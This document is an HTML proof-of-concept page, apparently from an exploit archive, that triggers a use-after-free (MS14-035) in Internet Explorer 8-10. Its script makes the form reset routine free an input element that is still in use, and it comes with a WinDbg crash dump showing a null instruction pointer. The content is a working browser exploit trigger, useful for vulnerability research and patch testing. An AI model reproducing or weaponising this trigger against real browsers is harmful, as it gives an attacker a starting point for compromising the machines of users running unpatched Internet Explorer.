85 lines
No EOL
3.4 KiB
HTML
85 lines
No EOL
3.4 KiB
HTML
<!--
|
|
Exploit Title: MS14-035 Internet Explorer CInput Use-after-free POC
|
|
Product: Internet Explorer
|
|
Vulnerable version: 8,9,10
|
|
Date: 23.06.2014
|
|
Exploit Author: Drozdova Liudmila, ITDefensor Vulnerability Research Team (http://itdefensor.ru/)
|
|
Vendor Homepage: http://www.microsoft.com/
|
|
Tested on: Window 7 SP1 x86 IE 7,8,9,10
|
|
CVE : unknown
|
|
-->
|
|
<html>
|
|
<head><title>MS14-035 Internet Explorer CInput Use-after-free POC</title></head>
|
|
<body>
|
|
|
|
<form id="testfm">
|
|
<textarea id="child" value="a1" ></textarea>
|
|
<input id="child2" type="checkbox" name="option2" value="a2">Test check<Br>
|
|
<textarea id="child3" value="a2" ></textarea>
|
|
<input type="text" name="test1">
|
|
</form>
|
|
|
|
<script>
|
|
|
|
var startfl=false;
|
|
|
|
|
|
function changer() {
|
|
// Call of changer function will happen inside mshtml!CFormElement::DoReset call, after execution of this function crash in DoReset will happen when accessing freed CInput element
|
|
if (startfl) {
|
|
document.getElementById("testfm").innerHTML = ""; // Destroy form contents, free next CInput in DoReset
|
|
CollectGarbage();
|
|
}
|
|
|
|
|
|
}
|
|
|
|
document.getElementById("child2").checked = true;
|
|
document.getElementById("child2").onpropertychange=changer;
|
|
startfl = true;
|
|
document.getElementById("testfm").reset(); // DoReset call
|
|
|
|
</script>
|
|
|
|
|
|
</body>
|
|
|
|
</html>
|
|
|
|
<!--
|
|
Crash details
|
|
|
|
|
|
(fd4.d84): Access violation - code c0000005 (first chance)
|
|
First chance exceptions are reported before any exception handling.
|
|
This exception may be expected and handled.
|
|
eax=6a5c0704 ebx=0556b358 ecx=081c2848 edx=00000004 esi=081c2848 edi=00000002
|
|
eip=00000000 esp=025bce94 ebp=025bceb4 iopl=0 nv up ei pl zr na pe nc
|
|
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246
|
|
00000000 ?? ???
|
|
0:004> kb
|
|
ChildEBP RetAddr Args to Child
|
|
WARNING: Frame IP not in any known module. Following frames may be wrong.
|
|
025bce90 6a5d1742 091ac108 00001200 6aafcb54 0x0
|
|
025bceb4 6a733150 0556b358 091ac108 6a73311d mshtml!CFormElement::DoReset+0xea
|
|
025bced0 6a7ef10b 0556b358 091ac108 0363d298 mshtml!Method_void_void+0x75
|
|
025bcf44 6a7fa6c6 0556b358 000003f2 00000001 mshtml!CBase::ContextInvokeEx+0x5dc
|
|
025bcf94 6a81738a 0556b358 000003f2 00000001 mshtml!CElement::ContextInvokeEx+0x9d
|
|
025bcfd0 6a79bc0e 0556b358 000003f2 00000001 mshtml!CFormElement::VersionedInvokeEx+0xf0
|
|
025bd024 6c38a26e 0363d838 000003f2 00000001 mshtml!PlainInvokeEx+0xeb
|
|
025bd060 6c38a1b9 08968530 000003f2 00000409 jscript!IDispatchExInvokeEx2+0x104
|
|
025bd09c 6c38a43a 08968530 00000409 00000001 jscript!IDispatchExInvokeEx+0x6a
|
|
025bd15c 6c38a4e4 000003f2 00000001 00000000 jscript!InvokeDispatchEx+0x98
|
|
025bd190 6c39d9a8 08968530 025bd1c4 00000001 jscript!VAR::InvokeByName+0x139
|
|
025bd1dc 6c39da4f 08968530 00000001 00000000 jscript!VAR::InvokeDispName+0x7d
|
|
025bd208 6c39e4c7 08968530 00000000 00000001 jscript!VAR::InvokeByDispID+0xce
|
|
025bd3a4 6c395d7d 025bd3bc 025bd500 0113ca98 jscript!CScriptRuntime::Run+0x2b80
|
|
025bd48c 6c395cdb 025bd500 00000000 00000000 jscript!ScrFncObj::CallWithFrameOnStack+0xce
|
|
025bd4d4 6c395ef1 025bd500 00000000 00000000 jscript!ScrFncObj::Call+0x8d
|
|
025bd550 6c39620a 0113ca98 025bd710 00000000 jscript!CSession::Execute+0x15f
|
|
025bd59c 6c39c3b9 08987c70 025bd710 025bd720 jscript!COleScript::ExecutePendingScripts+0x1bd
|
|
025bd600 6c39c1d1 08987c70 002d346c 6a75f7b0 jscript!COleScript::ParseScriptTextCore+0x2a4
|
|
025bd628 6a75f774 08987c74 03dc016c 002d346c jscript!COleScript::ParseScriptText+0x30
|
|
|
|
|
|
--!> |